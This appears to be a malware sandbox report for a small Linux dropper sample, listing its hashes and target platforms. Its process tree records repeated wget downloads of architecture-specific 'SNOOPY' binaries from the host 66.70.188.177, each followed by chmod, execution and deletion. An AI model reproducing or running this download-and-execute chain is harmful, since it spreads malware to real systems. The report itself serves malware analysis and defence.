Analysis
-
max time kernel
9s -
max time network
131s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20231215-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20231215-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
01-02-2024 23:38
Static task
static1
Behavioral task
behavioral1
Sample
87f6cdd9e7b20463d16dbc0a987da1e0
Resource
ubuntu1804-amd64-20231215-en
Behavioral task
behavioral2
Sample
87f6cdd9e7b20463d16dbc0a987da1e0
Resource
debian9-armhf-20231215-en
Behavioral task
behavioral3
Sample
87f6cdd9e7b20463d16dbc0a987da1e0
Resource
debian9-mipsbe-20231222-en
Behavioral task
behavioral4
Sample
87f6cdd9e7b20463d16dbc0a987da1e0
Resource
debian9-mipsel-20231215-en
General
-
Target
87f6cdd9e7b20463d16dbc0a987da1e0
-
Size
2KB
-
MD5
87f6cdd9e7b20463d16dbc0a987da1e0
-
SHA1
cf961f122cee39b32a2897d63318d58596b52035
-
SHA256
2903715c715b076a071f7d487094390c9011eca9b0148c232514383c53e7f459
-
SHA512
d66eec9549580ae7f9d11c7e41e46e7c10e3ba95dca93b19198f9cd1613b9b18cd2471f6931fbe84b13dd213ebc1fae7bb878553e6c337633be0587576b3d888
Malware Config
Signatures
Processes
-
/tmp/87f6cdd9e7b20463d16dbc0a987da1e0/tmp/87f6cdd9e7b20463d16dbc0a987da1e01⤵PID:1538
-
/usr/bin/wgetwget http://66.70.188.177/m-i.p-s.SNOOPY2⤵PID:1539
-
-
/bin/chmodchmod +x m-i.p-s.SNOOPY2⤵PID:1544
-
-
/tmp/m-i.p-s.SNOOPY./m-i.p-s.SNOOPY2⤵PID:1545
-
-
/bin/rmrm -rf m-i.p-s.SNOOPY2⤵PID:1546
-
-
/usr/bin/wgetwget http://66.70.188.177/m-p.s-l.SNOOPY2⤵PID:1547
-
-
/bin/chmodchmod +x m-p.s-l.SNOOPY2⤵PID:1548
-
-
/tmp/m-p.s-l.SNOOPY./m-p.s-l.SNOOPY2⤵PID:1549
-
-
/bin/rmrm -rf m-p.s-l.SNOOPY2⤵PID:1550
-
-
/usr/bin/wgetwget http://66.70.188.177/s-h.4-.SNOOPY2⤵PID:1551
-
-
/bin/chmodchmod +x s-h.4-.SNOOPY2⤵PID:1552
-
-
/tmp/s-h.4-.SNOOPY./s-h.4-.SNOOPY2⤵PID:1553
-
-
/bin/rmrm -rf s-h.4-.SNOOPY2⤵PID:1554
-
-
/usr/bin/wgetwget http://66.70.188.177/x-8.6-.SNOOPY2⤵PID:1555
-
-
/bin/chmodchmod +x x-8.6-.SNOOPY2⤵PID:1556
-
-
/tmp/x-8.6-.SNOOPY./x-8.6-.SNOOPY2⤵PID:1557
-
-
/bin/rmrm -rf x-8.6-.SNOOPY2⤵PID:1558
-
-
/usr/bin/wgetwget http://66.70.188.177/a-r.m-6.SNOOPY2⤵PID:1559
-
-
/bin/chmodchmod +x a-r.m-6.SNOOPY2⤵PID:1560
-
-
/tmp/a-r.m-6.SNOOPY./a-r.m-6.SNOOPY2⤵PID:1561
-
-
/bin/rmrm -rf a-r.m-6.SNOOPY2⤵PID:1562
-
-
/usr/bin/wgetwget http://66.70.188.177/x-3.2-.SNOOPY2⤵PID:1563
-
-
/bin/chmodchmod +x x-3.2-.SNOOPY2⤵PID:1564
-
-
/tmp/x-3.2-.SNOOPY./x-3.2-.SNOOPY2⤵PID:1565
-
-
/bin/rmrm -rf x-3.2-.SNOOPY2⤵PID:1566
-
-
/usr/bin/wgetwget http://66.70.188.177/a-r.m-7.SNOOPY2⤵PID:1567
-
-
/bin/chmodchmod +x a-r.m-7.SNOOPY2⤵PID:1568
-
-
/tmp/a-r.m-7.SNOOPY./a-r.m-7.SNOOPY2⤵PID:1569
-
-
/bin/rmrm -rf a-r.m-7.SNOOPY2⤵PID:1570
-
-
/usr/bin/wgetwget http://66.70.188.177/p-p.c-.SNOOPY2⤵PID:1571
-
-
/bin/chmodchmod +x p-p.c-.SNOOPY2⤵PID:1572
-
-
/tmp/p-p.c-.SNOOPY./p-p.c-.SNOOPY2⤵PID:1573
-
-
/bin/rmrm -rf p-p.c-.SNOOPY2⤵PID:1574
-
-
/usr/bin/wgetwget http://66.70.188.177/i-5.8-6.SNOOPY2⤵PID:1575
-
-
/bin/chmodchmod +x i-5.8-6.SNOOPY2⤵PID:1576
-
-
/tmp/i-5.8-6.SNOOPY./i-5.8-6.SNOOPY2⤵PID:1577
-
-
/bin/rmrm -rf i-5.8-6.SNOOPY2⤵PID:1578
-
-
/usr/bin/wgetwget http://66.70.188.177/m-6.8-k.SNOOPY2⤵PID:1579
-
-
/bin/chmodchmod +x m-6.8-k.SNOOPY2⤵PID:1580
-
-
/tmp/m-6.8-k.SNOOPY./m-6.8-k.SNOOPY2⤵PID:1581
-
-
/bin/rmrm -rf m-6.8-k.SNOOPY2⤵PID:1582
-
-
/usr/bin/wgetwget http://66.70.188.177/p-p.c-.SNOOPY2⤵PID:1583
-
-
/bin/chmodchmod +x p-p.c-.SNOOPY2⤵PID:1584
-
-
/tmp/p-p.c-.SNOOPY./p-p.c-.SNOOPY2⤵PID:1585
-
-
/bin/rmrm -rf p-p.c-.SNOOPY2⤵PID:1586
-
-
/usr/bin/wgetwget http://66.70.188.177/a-r.m-4.SNOOPY2⤵PID:1587
-
-
/bin/chmodchmod +x a-r.m-4.SNOOPY2⤵PID:1588
-
-
/tmp/a-r.m-4.SNOOPY./a-r.m-4.SNOOPY2⤵PID:1589
-
-
/bin/rmrm -rf a-r.m-4.SNOOPY2⤵PID:1590
-
-
/usr/bin/wgetwget http://66.70.188.177/a-r.m-5.SNOOPY2⤵PID:1591
-
-
/bin/chmodchmod +x a-r.m-5.SNOOPY2⤵PID:1592
-
-
/tmp/a-r.m-5.SNOOPY./a-r.m-5.SNOOPY2⤵PID:1593
-
-
/bin/rmrm -rf a-r.m-5.SNOOPY2⤵PID:1594
-